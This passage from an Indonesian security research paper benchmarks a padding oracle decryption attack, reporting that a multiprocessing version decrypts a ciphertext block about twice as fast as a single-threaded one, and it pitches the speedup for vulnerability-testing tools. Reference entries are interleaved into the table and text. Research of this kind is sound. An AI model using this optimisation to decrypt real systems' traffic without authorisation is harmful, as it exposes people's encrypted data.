tion yang telah optimal dengan yang belum opti-
mal.
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Tabel 3: Perbandingan Single Thread Padding Or-
acle Decryption vs Multiprocessing Padding Oracle
Decryption

: 2, Juni 2022, p-ISSN 1412-9434/e-ISSN 2549-7227

Notes in Computer Science, vol 2332. Springer,
Berlin, Heidelberg. https://doi.org/10.1007/3-
540-46035-7__35, 2002

Tipe Serangan Durasi Serangan

3]

Anonym, “O-byte record padding oracle”,
OpenSSL Security Advisory, diakses daring

pada https://www.openssl.org/news/secadv/
20190226.txt, 26 February 2019

(detik/blok)
Single Thread Padding 38
Oracle Decryption
Multiprocessing Padding 22
Oracle Decryption

[4] Anonym, “K10065173: TMM TLS virtual

Perbandingan yang disajikan pada Tabel 3 me-
nunjukkan berapa lama serangan berhasil untuk
mendekripsi satu blok ciphertext. Berdasarkan
hasil tersebut dapat disimpulkan bahwa Multi-
processing Padding Oracle Decryption lebih cepat
dibanding Single Thread Padding Oracle Decryp-
tion. Durasi serangan Multiprocessing Padding Or-
acle Decryption kurang lebih 2x lebih cepat diband-
ing Single Thread Padding Oracle Decryption.

Penutup

Padding Oracle Attack dapat dimanfaatkan oleh
penyerang untuk melakukan dekripsi terhadap ci-
phertext dan enkripsi terhadap plaintext yang di-
inginkan oleh penyerang. Hal ini terjadi karena
penyerang dapat menemukan kerentanan sehingga
dapat mengetahui status valid padding atau invalid
padding setelah proses dekripsi. Padding Oracle
Attack untuk melakukan dekripsi dapat dioptimasi
dengan multiprocessing. Hasil uji coba Padding Or-
acle Attack dengan multiprocessing adalah durasi
serangan menjadi 2x lebih cepat. Hal ini dapat di-
gunakan untuk membangun perangkat lunak pen-
guji kerentanan yang secara otomatis dapat menge-
tahui adanya kerentanan keamanan Padding Oracle
Attack secara lebih cepat.
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